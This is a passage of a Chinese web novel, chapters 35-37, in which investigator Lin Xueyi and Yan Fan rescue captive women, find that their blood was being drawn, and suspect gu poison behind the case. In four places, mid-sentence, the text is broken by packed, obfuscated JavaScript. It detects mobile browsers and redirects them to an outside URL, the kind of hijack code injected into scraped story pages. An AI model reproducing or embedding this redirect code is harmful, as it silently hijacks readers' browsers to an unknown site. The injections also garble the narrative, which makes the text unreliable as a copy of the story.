林雪意看他的样子不像在说谎,又思及他说谎好像也没什么好处,便按下了心头疑虑。 她正想同他说自己在范都事这边的发现,不远处的洞口就传来了动静。 林雪意连忙向洞口跑去,就见一群灰头土脸的人被反剪双手,被衙役们押了出来。 跟在他们后头出来的是一些衣衫褴褛、面容枯槁的女子,她们的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260364|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎十分虚弱,要互相搀扶着才能走得动路。 林雪意立刻上前帮忙,一边扶她们到近旁坐下,一边数着人数。她不经意间扫过她们的手腕,视线骤然凝住——只见她们细瘦的手腕上布满了密密麻麻的割痕,伤疤跟伤疤叠在一起,有的伤口上还泛着血色,叫人触目惊心。 出来了八名女子后,里面就安静下来了。 林雪意不由得掐紧了手心。 身侧的晏返似乎看出了她的担心,出言安慰道:“别急,墨云还没出来呢。” 林雪意闻言换了口气,就见洞口处出现了墨云的身影。 那洞口本就不大,需要人躬身弯腰才能进出。墨云弯着腰出来,肩膀上还叠着一个脑袋,头发乱乱的,小脸苍白,一双眼睛安静地闭着。 林雪意一眼认出墨云背着的是深月,脸色一青,屏住一口气跑上去。 “大人放心,深月只是昏睡未醒。” 听墨云这么说,林雪意才松了一口气。她眼眶一热,咬住了唇瓣。 “大人。”墨云又道,“他们留在里头的东西,有些古怪,您可要进去看看?” “是有些玄乎。”一旁的衙役插话进来,又指了指那群被抓起来的人,说,“他们也说不出个所以然来,只说是奉命行事。” 林雪意下意识地看向晏返,两人的目光在空中交汇,晏返冲她点了点头。 他先一步躬身钻进洞穴,然后朝身后的她伸出手。林雪意抓住他手,跟着慢慢走进去。 洞穴靠近地面的部分特意拓宽过,还铺就了向下延伸的石阶,因此虽然洞口狭窄,他们进洞之后,前方很快就开阔起来。 每隔一段距离,山洞的石壁上就嵌有灯盏,除了方才在双方的打斗中掉落在地的之外,此刻都还亮着灯火,放眼望去,星星点点,并不昏暗。 林雪意走了一阵,发现山洞里面竟比外头暖和许多,心想是底下连通暗河所致。 也不知往下走了多久,走在前头的晏返停下了脚步,轻声提醒她:“小心。” 林雪意朝他脚下看去,就见下方巨大的洞穴里遍布怪石,嶙峋起伏,有些地方甚至无处下脚,只能在岩石的表面砸出些坑来,作临时攀登之用。 看来底下就是天然形成的溶洞了。 晏返在前面探路,牵着林雪意安全地下到溶洞里。 林雪意打量四周,发现此处洞穴虽然是自然形成,但是也有一些开凿痕迹。 在一处较为平坦的石板上,放着床板、被褥、碗筷之类的生活器物,只是都十分简陋。 林雪意走到石板边缘向下一看,闯入眼帘的景象顿时让她头皮发麻——只见下方石头的缝隙里四处散落着森森白骨,甚至有的骨架上还残留着腐肉。 她倒吸一口凉气,身体不由自主地发抖,却不知道是由于恐惧还是因为愤怒。 光是卷宗上所记录的失踪女子就有十六七人,可是刚才被救出去的女子,除了深月就只有八人,剩下的那些女子显然已经化为了眼前的这些枯骨。 她们当时在这暗无天日的洞穴里遭受虐待,该是多么绝望! 一道身影站到了林雪意身前,将那可怖的景象挡在了宽阔的胸膛之后。 “别看了。”晏返拍了拍她的肩,低声道。 林雪意戚然收回目光,被另一头的巨大石板吸引了注意。她快步走过去,看到了墨云口中说的古怪的东西—— 那石板上放着一缸粘稠的暗红色液体,正咕咚咕咚地冒着泡,散发着怪异的腥甜气味。 35. 寒梅 林雪意的脸色陡然一白。 “怎么了?”晏返见她脸色比刚才更差,奇怪地问。 “还记得京城的隆记布庄吗?”林雪意的视线无法从面前这缸诡异的液体上面移开,忍住胸口的窒闷感,道,“在它被烧掉之前,我在那里就见过这东西。” 晏返思忖片刻,旋即明白过来,道:“你先前为了查迷魂胭脂才去的布庄,看来这里也跟迷魂胭脂有关。” 林雪意点头,道:“冯玉的行李中就有那胭脂,因此我一开始就怀疑这件案子跟迷魂胭脂有所联系。” 如今眼前所见,已经证实了她的怀疑。 空气中除了古怪的腥甜味,还有一股淡淡的血腥味。 林雪意嗅着气味扫视周围,发现石板上还置有炉灶,炉灶旁的角落竟也放着一捆她在布庄看到过的赤霞草。石板的另一侧立着一块石桌,其上放着数把剃刀和一些琉璃瓶,而后,她的视线定格在其中一个琉璃瓶上。 那琉璃瓶圆肚细颈,白色微透的瓶身里装了一半猩红液体,她闻到的血腥味似乎就是从里面散出来的。 林雪意心中已经有所猜测,她伸手过去,还没碰到那瓶子就被晏返拦住。她手上动作一顿,就见晏返先她一步取过瓶子,打开塞子看了看。 林雪意莫名觉得这情景似曾相识,很快就想起在隆记布庄时,她想查验掌柜尸体的时候,晏返就是这样拦住她的。还有…… “是血。”晏返的话打断了林雪意的思绪。 林雪意心中一寒,晏返说的正是她方才的猜想。再思及她进洞前在那些女子手腕上看到的伤痕,她也就能够肯定,那伙人拐骗囚禁女子,是为了取血。 可是取她们的血是要做什么? 她借着从晏返手中接过琉璃瓶的机会,凝神回溯起来。 许多繁杂的画面一一从眼前闪过—— 琉璃瓶被搬进洞穴……女子的手腕被剃刀划开……装了血液的瓶子被人运走……时而出入的人影……冯玉阴狠的神情……女子们惊恐的面容…… 林雪意陡然放开了琉璃瓶,抬手按住了剧烈起伏的胸口。 虽然她看见的都是一些零碎的片段,但是她也能够大致推断出,他们收集了女子的血液后,又运送到别的地方去了。 “你怎么样?”晏返觉察到林雪意脚步有些虚浮,立刻扶住了她。 林雪意觉得脑袋发晕得厉害,但仍是摇了摇头,重新走回到那缸奇怪的液体前。 这一次,她不能再错过机会。 她将手轻轻搭在那口缸的边沿,闭上了眼睛。 一片黑暗的视野中心幽幽出现一点亮光,这缸液体就静静地放置在亮光处。 往常她回溯之时只能看到画面,听不到任何声音,但是这一次耳畔竟有了声响。只是似乎所有的声音都被延长放大了,嘈杂之声如烟尘一般在空中回荡,分不清是风声水声还是人声。 在那错杂的声音中,交错摇曳的人影勾勒出斑驳的光影,在这一方微亮的空间里得怪异非常。 最后,在混乱驳杂的影子中出现了一只手,正握着一个小瓶子往缸里倒着什么。而那手的指端戴着一个玛瑙扳指,通红透亮的颜色刺得人眼睛发痛…… 就是他! 林雪意蓦地睁开眼睛,攥紧了手心,额上已满是涔涔冷汗。 就是他,就是那只手,在父亲临死前捡起地上的胭脂的,就是那只戴有玛瑙扳指的手! “……林雪意?林雪意!” 林雪意心如擂鼓,她隐约听见身边有人在叫她,愕然地转过头去,就看见晏返面色焦急。她还未明白过来他在担心什么,只觉得耳侧传来“嗒”的一声轻响,脑海里像是有跟弦断了一般,便什么知觉也没有了。 · 夜色如墨。 窗外雪声瑟瑟,衬得深夜更静。 晏返立在床前看着昏睡的林雪意,修长身姿在地上拖出一条长长的影子。 房门被轻轻推开又很快合上,桌上的灯火被倏忽闪过的寒风拂得摇曳了一霎,凝视着林雪意的那双沉黑眼眸中,便潋起了微微的光影。 “都如何了?”晏返仍是背着手,沉声冲身后的人问了一句。 行至屏风后的墨云应声道:“那些女子都已安置妥当,大夫说她们受惊过度,需要静养。在山洞里抓到的贼人,马知县都已审问,记录在册。” 晏返转头看他,问:“审出什么了吗?” “那些贼人是受匪首招募而来。匪首已闻风而逃,他们不知其中详细,只知匪首负责与秦卓接头,由秦卓着人拐骗女子,再交到他们手中。” 想起今日白天在山洞里看到的琉璃瓶,晏返眸光一沉,道:“然后他们再取那些女子的血?” “是。”说到此诡谲之处,墨云也不禁皱了眉,“他们说那缸中装的是一种药,他们逼那些女子每日服食,然后定期从她们身上取血,封装之后由匪首派人运走。” “药……”晏返沉吟片刻,目光又落回到林雪意毫无血色的脸上。 她好像一开始就知道那东西有蹊跷。 不仅如此,很多时候,她的反应都出奇敏锐,而她的身体却随之每况愈下。 难道真的只是巧合? 看着看着,晏返的目光慢慢柔和下来,问道:“深月怎么样了?” 墨云顿了顿,声音低了一些:“她还未醒,大夫说她无大碍。” “那便好。”晏返说着俯身替林雪意掖了掖被角,又轻挥袖熄灭了油灯,带着墨云出了屋子。 二人走在廊下,一时寂静无声。 晏返走在前头,他夜里着一身玄色,廊外雪片随风掠过他身周,便衬得那背影清绝孤寂。 跟在他身后的墨云踌躇片刻,还是担忧问道:“世子,您前日在秦府失踪,究竟是去了何处?” 晏返闻言脚步一顿,干脆侧身望着廊外飞雪,语声淡淡:“这件事我没打算瞒你,但是不能让林雪意知道。” “少夫人?”墨云一时有些不解,但还是点头道,“属下遵命。” 晏返转头看他,眸色微沉:“我们原先就已派暗探分布在秦府和当铺各处,那日我不慎中毒,支走了林雪意后,绣衣署的人就带我去见了师父。” “萧伯?”墨云不免有些心惊。 他口中的萧伯是世子的师父,更是前任绣衣署首领萧靖,当时人称萧首尊。他出身药王谷,不仅武功出神入化,更是医毒高手。 绣衣署的暗探皆是自小接触毒物以取得耐毒性,更别说以世子如今的修为,寻常毒物对他来说根本不值一提。如果世子此次中毒需要萧伯出手,那毒定然非同一般。 想到这里,墨云忙问:“世子中的是什么毒?” 晏返望着飘雪的眸光微冷,他唇角微弯,吐落的两个字跟雪花一样冰冷:“寒梅。” 墨云面色骤变,眉心骤在了一起:“天下至毒,寒梅?!” 他的目光闪了闪,陡然明白了世子不让他告诉少夫人的原因。 寒梅乃剧毒,不知出于何人之手,十年前因其诡异的毒性被冠以天下至毒的称号。道上有言,寒梅之毒,生不如死。 普通人中此毒,根本活不过一夜,而武功造诣高的人虽不致丧命,却会在每夜子时气血逆行,痛苦之至。若是心智不坚定者,毒发时理智溃散,最终将会沦为一个受欲念支使的废人。 “可是,世子……可是……”饶是素来冷静的墨云,此时都有些语无伦次起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313868|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他并非不知道自己想说什么,但他却知道此话说不得。 传闻寒梅唯一的解药,是中毒者所爱之人的心头血。 “我会有办法的,不用为我担心。”晏返的声音清清泠泠的,似乎只是在说一件与自己无关的事,“林雪意心细如发,万一我出现错漏,还需你替我遮掩,免得露了马脚。” 晏返说着往自己的屋子走去,挺直的背影如雪中孤松,幽幽散出一丝冷寂。 墨云跟在他身后,沉默了半晌,最终低低应了一句“是”。 · 林雪意醒来的时候,外头的雪似乎已经停了。 晨光从窗棂的缝隙中透进来,斜斜落在地上,折射出柔和的微光。 周围分外安静,林雪意一时有些恍惚,有些不知今夕何夕。 她揉着眼睛起身,四下寻找深月的身影,顿时想起昨日搜查云雾山,她和晏返进洞探查的事。 她还记得自己在回溯那奇怪液体时所看到的画面,但那之后发生了什么,她却一点印象也没有了。 莫非她在回溯后就昏迷了? 她进山洞时已是午后,眼下却像是清晨,她睡了多久? 深月又如何了? 一连串的问题在她脑海中冒出来,林雪意匆匆披上外衣,开门出去。 深月的房间就在她的隔壁,林雪意推门进去,一眼就看见了合眼躺在床上的深月。见深月的面色比刚被救出山洞时好上许多,她悬着的心这才稍微放下一些。 她退出屋子,把门带上,弗一转身便差点撞在身后高大的身影上。 “夫人醒了?”晏返挑眉打量她,唇角噙着一点欣然笑意。 “少来消遣我。”林雪意听出晏返话中戏谑,心知他指的是她昨日在范都事面前唤他夫君一事,斜斜睨了他一眼。 但这一眼,却让她觉出些不寻常来。 晏返平日里穿戴喜华贵,总是锦衣玉带一层层往身上叠,远远看着就如花孔雀一般,但今日他却穿得极为素净。 不知是不是起早了还未装扮的关系,眼下他只披了一件银灰缂毛暗纹的披风,里头是一件梨花白的雪缎单衣,身上似乎还散着些皂荚香。 往日里总以镶宝嵌玉的金冠高束在脑后的乌发,此时用一支白玉簪半挽着,垂至腰侧的发梢还带着些许潮意。 林雪意想了想,目光又落回到他那张清隽俊美的脸上。 他五官精致,眉目疏朗,往日里神采飞扬,便显出几分艳色,眼下这样神容淡淡的,反而有一番清贵的意蕴。 今日的晏返着实是有些清淡了,不仅清淡,眼底还有些淡淡的疲倦。 晏返见林雪意不加掩饰地打量他,眼底笑意不由更深,唇角一弯:“为夫好看吗?” 林雪意顿觉跟他无话可说,并且还有点脸热,只能无奈地点着头转身回房,将房门关了个严实。 她方才担心深月,无心整理仪容就急匆匆就出了屋子,现在想想定然是蓬头垢面,形容狼狈。 屋外却传来晏返愉快的轻笑,接着他道:“你昨日晕倒后便滴水未进,我已让人备了早膳,有什么事都等用过早饭再说。” 林雪意应了句“好”便开始梳洗。她动作不慢,又因心中记挂案件,套了一件釉青色的男式衣袍就去了膳厅。 晏返早就好整以暇地在里头等着,桌上放着金黄的小米粥并几样开胃小菜,正散着诱人的香气。 林雪意入了座,刚想问他案子的事,一碗热腾腾的小米粥就推到了她跟前。 她看了晏返一眼,将话咽回到肚子里,转而道了声谢,拿起一旁的汤匙。 等到粥喝得差不多了,晏返倒是先她一步开了口:“林雪意,你是不是有事情瞒着我?” 36. 试探 林雪意持在指间的汤匙微微一顿,轻轻落回到碗里,没有发出一丝声响。 眼波在这瞬息之间幽幽一转,继而她抬眸看向晏返,唇角凝起一点弧度:“世子何出此言?” 晏返也不绕弯子,径直道:“昨日你在山洞里突然晕过去,我将你带回来后,就请了周老大夫来看。他说你脉象奇怪,时沉时浮,他从未见过。” “那又如何?”林雪意望着他,一双水杏眼中平静无波。 晏返目光垂了垂,转而拿起边上温热的巾帕,递给林雪意,道:“没什么,或许是我想多了。” 在世人眼中,他是沉迷于声色犬马的纨绔子,但实际上,他三岁认识他的师父,四岁开始习武,七岁便正式加入了绣衣署。如今过去十三载,世间奇人异事他不知见过多少。 他有一种奇怪的直觉,林雪意或许不像她看上去的那样简单。但他对她处处留意,却并没发现她有什么破绽。 既然她不愿说,他也不想惊扰她。 见对方没有再追问,林雪意暗自松了一口气。她接过巾帕擦了擦手后将它搁置一旁,眼底划过一丝狡黠:“既然晏世子问完了,那该轮到我了。” 晏返不明所以地递出一个询问的眼神。他面上不动声色,心中却不知为何轻轻一提。 “世子昨夜似乎没休息好?”林雪意问。 “咳。”晏返眼底浮起一丝心虚的神色,面色尴尬地道,“昨夜我上翠筠楼听曲,回来得晚了些。” 这理由倒是出奇地简单,林雪意一时无言。 深更半夜去花街听曲,以这二世祖昔日在京城的“威名”,确实是他能做得出来的事。 林雪意不再纠结此事,转而向晏返提起了范都事,范通。 “……因此,我怀疑,我离京那日遇到的杀手就是范都事从云雾山派出的。” 晏返听完了林雪意的推测,点了点头:“你怀疑得很有道理。这也不难查,大晋各处守军,姓甚名谁皆有登记,每队驻军人数也有严格规制。若他是私自派兵,那只要看云雾山上的守军人数几何,有无折损,便能找到证据。” 晏返说的正是林雪意想到的,她赞同道:“我已准备将此事禀奏圣上,不过,昨日他肯放我们进去搜查,可见他跟本案无关,不知他为何要暗算我。” “这你就有所不知了。”晏返唇角衔起一丝神秘的笑意,道,“我派人查过,范通跟李铎有些拐弯抹角的亲戚关系,他能进都督府做事就是因为有李铎的举荐。” 林雪意想了想,道:“这么说,他是见李铎因为我而被查下狱,所以挟私报复?” 晏返却不置可否,只是接着说:“你忘了,李铎能在京城横着走是因为谁?” 林雪意闻言一顿,继而心中猛地一沉,眉眼间满是骇然:“你是说……” 她并没把话说完,晏返却冲她使了个肯定的眼色。 李铎之所以在朝中炙手可热,是因为他是李贵妃的胞兄。 晏返分明是在提醒她,她是因为揭发了李铎受贿的罪行,激怒了李贵妃,所以李贵妃才暗中派人对她痛下杀手。 “如果是那一位的话,能从侯府申请的路引上发现你的行踪,也就没什么好奇怪的了。”晏返语声淡淡,泛着些少见的冷冽。 一人得道,鸡犬升天。李贵妃如今圣眷正浓,提拔一些氏族中人任朝中要职也无甚稀奇。她若是有心要与林雪意为难,调查她的行迹不过是小事一桩。 林雪意正因自己的猜测感到胆寒,听晏返此言,不由得惊奇看他:“你也发现了我是在路引上出了纰漏?” “林雪意,”晏返闻言煞有介事地看着她,挑眉道,“我发现你对本世子有很深的误解。” “哦?” 林雪意立刻做出一副洗耳恭听的样子,就听得晏返一本正经道:“本世子是纨绔,但不是草包。” 她登时忍俊不禁,掩嘴笑了一阵,道:“是是是,晏世子见多识广,才思敏捷,本官以后定会多多请教世子高见。” “这还差不多。”虽然听得出对方话中玩笑大于真心,晏返却很是受用,他想了想又道,“你料想得也不错,你离京那日,确实有人去截杀官队。” “知道他们的来历吗?”林雪意的面色变得凝重起来。 如果当日追击她马车的那伙人真是李贵妃授意,那偷袭官队的那些人定然就是不想让她继续查案的人。他们背后的人,才是害死父亲的真凶。 晏返摇了摇头,道:“已经交给官府了,还在查。他们招供说有人出重金让他们活捉你,但不知背后究竟是谁。” 林雪意不由蹙眉:“要活捉我?” 晏返点点头,眉间浮起淡淡的不悦。 那日他给那些杀手留了活口,就是想要知道是什么人在打林雪意的主意,但他们却是收钱办事,受人委托,线索就此中断。 后来,暗中跟随林雪意马车的墨云也发现了杀手的痕迹。 他看到墨云发出的响箭后便派了附近的绣衣署暗探前去支援,他们向他复命时说,那些杀手很可能是士兵假扮。 若是从京城出去的士兵,不可能不被绣衣署察觉,因此那些士兵只能是从与京城接壤的青州出发的。而距离晋京最近的驻军地点,并不是青州府,而是泤水县的云雾山。 他担心他们追击不成,会另有伏击,因此那日在处理完京城的事务后,便乔装成方凌住进驿站,正好就遇碰见了混进驿站想要刺杀林雪意的杀手。 从他后来对那杀手的审讯情况来看,他也是李贵妃一方指派的。 想要活捉林雪意的人到底是谁,他至今还没有眉目。 林雪意心中也是疑窦丛生,因此没注意晏返眼底笼覆的冰雪。 她离京五日就已遭遇连番追杀,原本还有些云里雾里,现今跟晏返通了气才算是想通了一些关窍。 照晏返所说,追击她的有两方人马,一边是李贵妃,另一边是迷魂胭脂案的主谋。李贵妃因为记恨她想杀她,而迷魂胭脂案的主谋不知因何暂时要留她性命。 由此可见,除了那日追击她马车的那伙人是受李贵妃授意之外,她在驿站和秋意家中遇见的两个杀手十有八九也是跟李贵妃有关,因为他们似乎并没打算留她活口。 而迷魂胭脂案的幕后之人派人袭击了车队,还未跟她正面遇上。当日她回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364256|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溯杀手的刀时看到的那些黑衣人,是否就是他们的人? 林雪意不禁又想起了那些黑衣人腰饰上的梅花纹。那图案她一定在哪里见到过,但光是这么想想,她就心口发痛,十分古怪。 “你怎么了?”晏返察觉道她脸色有异,眼底立刻冰雪消融,关切看她。 林雪意摇摇头,不再去想那梅花纹,缓了缓胸口阵痛,道:“旧疾而已,偶尔发作,并不碍事。” 微微的担忧浮上晏返眉间,他暗自叹了口气,道:“大夫说你气血两虚,要小心将养着。昨日擒获的贼人,马知县已经审了。那些女子也已经安置了,只是她们全都喉腔受损,说不了话,暂时也问不出什么。你不如……” 晏返话没说完,马知县就从外头噔噔噔地进来了。 他远远就看见了林雪意,因此一进来就道:“大人,您可算醒了!秦卓那厮着实可恶,那伙贼人都已招出残害女子之实,他却对此闭口不言。此等狂徒,若不用刑……” 马知县说着说着,说到后头就没声了。他怯怯地望了一旁目光“和善”的晏返一眼,只觉得如芒在背,讪笑道:“哦,世子也在哪。下官失礼,打扰二位用膳了。” 眼看马知县就要退下,林雪意叫住了他:“马大人留步。” “大人有何吩咐?” “秦大老爷如何了?” 听林雪意突然问起秦大老爷,马知县先是一愣,继而道:“周老大夫研制的解毒方子颇有成效,秦大老爷昨日就醒了。余管家说他神智清明,只是行动上还有些吃力。” “如此甚好。”林雪意心中已有主意,又问,“昨日我探洞发现了一些奇怪之处,里面的证物可是已经收集了?” “那是自然。”马知县颔首道,“大人昨日劳累过度,晕厥洞中,下官实在汗颜。世子带您出去后,下官当即派人进去搜取证物。那古怪的液体,下官也已着人取样,按世子的意思,送往周老大夫的药铺查验了。” 林雪意心中不觉有些诧异,下意识地看了晏返一眼,就见他邀功一般冲她扬了扬眉,活脱脱是把那句“本世子是纨绔,但不是草包”又用目光说了一遍。 她冲他抱了抱拳以示赞许,转而对马知县道:“我想去见见那些犯人。” 晏返眉心跳了跳,却没有阻止林雪意,还是拿狐裘将她裹了个严实,跟她一道去牢房。 一路上林雪意又听马知县说起他连夜审讯的结果,他刚说完,他们也就到了地牢。 狱卒将他们带到关押着那十几个贼人的牢房,只见他们全都蜷在墙角,十分安静,似乎被吓得不轻。 觉察到林雪意略带疑惑的目光,马知县连忙解释:“大人,下官并未对他们用刑。实在是那冯玉疯疯癫癫,没日没夜地鬼哭狼嚎,这才把他们吓成这样。” 其实马知县还想说吓得好,就是因为他们见到了冯玉的样子,疑心冯玉是遭受了牢中什么手段才变成这样,所以才一个个忙不迭地招供了。 林雪意走进牢房扫视了他们一阵,收紧了藏在袖中微微发颤的手,问出了自己心中思虑已久的问题—— “你们可曾见到过,一个戴着玛瑙扳指的人?” 37. 蛊术 语声落毕,牢房里寂静一片。 林雪意的视线从他们脸上一一扫过,最后落在角落的那个人身上。 其他人都是面面相觑吗,只有他神情闪烁。 “你似乎知道些什么。”林雪意对他道。 马知县也反应过来,上前道:“郑二,御史大人问话,还不从实招来?若敢包庇同伙,罪加一等!” “我说,我说。”郑二慌忙连声道,“小人确实见过一个戴玛瑙扳指的人,山洞里的药就是他配制的。” “你昨日怎么不说?”马知县斥道。 郑二缩了缩脖子,支吾道:“我……我也只见过他一次,而且是两年前的事了……” “知道他的来历吗?”林雪意问。 “我不知道。”郑二摇了摇头,见马知县眼中是明显的不信任,他连忙补充说,“小人真的不知!他那时带着面具,我也看不到他的样子,只听过头儿叫他离公子。” 林雪意低头暗忖,她未曾听父亲提起过此人,单凭一个称呼无法知晓他的身份。但她却不知为何,心头浮起一丝古怪的感觉,可一时又捉摸不清。 她暂时压下心头疑惑,又问郑二:“那放在炉灶旁边的赤霞草,你们是拿来做何用处的?” “秦二老爷说,那缸里的药有毒,赤霞草可以缓解它的毒性。他交代我们,如果那些姑娘服了药之后症状严重,就给她们灌一些赤霞草熬的汤。”郑二说。 林雪意心中一凛,神色冷然。 那些可怜的女子,长年累月被毒药磋磨身体,竟是用赤霞草吊着小命。 “我在山洞中看到了许多枯骨和尸体,她们都是中毒死去的吗?” “是。”郑二不敢跟她冰冷的目光对视,心虚地垂下头,“有的实在捱不过去,就死了。隔段时间,秦二老爷就会差人重新带人过来。” “混账!”林雪意眼底赤红,身体因为愤怒而忍不住颤抖。 郑二说的跟她所料不差,但是亲耳听到他轻描淡写地说他们残害女子之事,她还是怒不可遏。 一只大手轻轻在她肩上拍了拍,晏返淡淡的声音从身后传来:“冷静些,莫要气坏了身子。” 发怒已经于事无补,林雪意收住怒气,尽量平复心绪,问道:“你方才说的头儿又是谁?” 郑二试探着抬头看去一眼,见到林雪意身后毫无温度的眼神,顿时又低下头,战战兢兢地说:“就、就是一开始把我们召集起来的人。我们不知道他叫什么,就叫他头儿。 “他很少露面,许多事都是交代给秦二老爷做的。秦二老爷让人传消息给我们,说我们已经被官府发现,头儿就让我们按他说的炸掉下面的洞口,他自己就没出现过了。” 郑二这伙人知道得不多,显然已经问不出更多消息。林雪意正有些失望,就有衙役从外头进来,说周老大夫来了衙门。 晏返一直注视着林雪意,道:“想必是请他查验的药有了眉目。” 林雪意闻言又打起了精神,同晏返和马知县离开了地牢。 果不其然,等在花厅中的周老大夫一见到他们就迎了上来,手中还托着装了那毒药的瓶子,道:“世子,二位大人,这药着实古怪。老夫惭愧,行医几十年,竟无法探其究竟。” “无妨。”林雪意请周老大夫坐下,缓声道,“周大夫可否细说?” “这里头含有几味可致人产生幻觉的药物,虽然都带毒,但是从用量上来看,并不足以致命。”周老大夫说着皱起了眉头,接着道,“但怪就怪在,此药偏是毒性剧烈。老夫以为,里面还有一些其他的成分,那些成分才真正含有大毒。” 周老大夫的话勾起了林雪意的一段回忆,那日在金殿外头,王太医对胭脂的那番分析又回响在她耳畔。 王太医也是说,那胭脂中有一些他验不出的成分。但是因为当时得知那胭脂中含有毒药,他们的视线就都被那几种毒药所转移了。 “天仙子、马钱子、曼陀罗……”林雪意喃喃道。 “正是!”周老大夫立即道,“这里面正是含有这几味药。” 林雪意顿觉如醍醐灌顶,旋即明白过来——迷魂胭脂就是由这毒药制作而成的! 在群芳阁,幕后之人以胭脂的艳丽外壳欺骗女子用毒,而在泗水县的山洞之中,他们便不再伪装,任其以狰狞的真面目示人。 “周大夫,这其中含大毒的成分,您是否从未见过?”林雪意问。 周老大夫摇头叹道:“确实从未见过,所以这也只是老夫的一种猜测。” “或许,含有大毒的成分,并不是药物。” 熟悉的微沉语声从一旁传来,林雪意闻声一愣,看向方才一直没有作声的晏返。 周老大夫也转头看他,谦逊问道:“世子此话何意?” “我的意思是,它可能不是普通的毒物。比方说……”晏返顿了一顿,视线落在了药瓶上,“蛊毒。” 清醇的嗓音轻轻落入空气,略为陌生的字眼让厅中另外几人微微一怔。 林雪意惊异地看着晏返,心中有什么东西呼之欲出,让她一时说不出话来。 周老大夫眯起眼睛,捋起花白胡须思忖片刻,苍老眼中渐渐绽出光来,道:“世子说得不无可能啊!” “这蛊毒……可是传闻中的蛊术?”马知县有些不确定地问。 “正是源于蛊术。”周老大夫解释道,“行蛊术者,会炼制蛊虫,蛊虫产生的毒就是蛊毒。这方法似医近巫,十分阴毒,曾经在南面盛行过一时。如今民风开化,几乎已经绝迹了。” 听了周老大夫的话,林雪意只觉得盘旋在脑海中的想法越来越清晰。这念头过于骇然,她不禁咬住了唇。 蛊毒,赤霞草,离公子。 她知道为什么自己在牢房里听到“离公子”这个称呼时会有奇怪的感觉了——是“离”这个字让她产生了猜想。 父亲是梁州监察御史,而梁州就跟离州接壤。 可如今的离州以前并不叫离州,它在二十年前,还是大晋的属国——璃国的土地。 璃国被灭的事发生在她出生之前。她小时候听父亲说过,璃国皇室善巫蛊之术,曾暗中蛊惑周边的其他小国,企图围攻大晋。后来阴谋被识破,璃国便覆灭在大晋的铁蹄之下。 郑二口中的离公子,跟父亲的死有直接的关系,而这伙人所在之处,皆能看到产于梁州的赤霞草。 莫非,那离公子就是从离州来的? 他们既然用的是巫蛊之术,难道这桩案子竟还跟璃国余孽有所牵扯? 一念至此,林雪意下意识地抬眸看了一眼晏返,就见他也正望着她。两人的目光似乎各有思虑,在空中交汇一瞬后便错开了。 林雪意转而将视线投向周老大夫,请教道:“周大夫,贼人定期将这毒药喂给那些被抓的女子,您可知这种方法有什么效用?” 周老大夫闻言脸色一沉,皱眉道:“难怪老夫昨日替那些女子看诊的时候,她们皆是喉腔受损,原来是服了此毒所致。” 他想了想,又说:“只从药理来讲,长此以往,服毒之人恐怕会毒入骨髓,但人体有求生本能,想必也会产生一定程度的耐毒性。” “原来如此。”林雪意心中豁然开朗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434741|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们要的,是那些女子身上产生了耐毒性的血。 但是他们要那种血做什么? 眼下冯玉疯疯癫癫,在山洞里捕获的贼人所知有限,获救的女子口不能言,逃走的匪首又不知所踪,那秦卓便是这个案子的关键。 只要知道那些血被收集起来后运向了何处,她就能顺着这条线索追踪下去。 林雪意看着马知县,眸光清澈:“马大人,我要重新审一审秦卓。” 听林雪意说出计划后,马知县当即着手布置。 林雪意跟晏返送周老大夫离开衙门,回屋的路上,二人一前一后走着,一时无话。 晏返注视了林雪意一路,最终还是开了口:“你为什么会问起玛瑙扳指?” 脑海中又浮现父亲临死前的那一幕,林雪意语声冰冷:“害死我父亲的人当中,就有这么一个人。我怀疑他是这个案子的主谋。” “你为什么会知道是谁杀了林御史?就好像……”身后的语声轻轻一顿,接着道,“亲眼看到一样。” 林雪意停住脚步,面色跟廊外的积雪一样冷:“若我真是亲眼看到便好了。” 如果当时她在场,她就是死,也不会眼睁睁地看着父亲被杀。但是如今,她只能一次又一次地在梦中看到自己回溯过的场景,一次又一次在醒来之后追悔莫及。 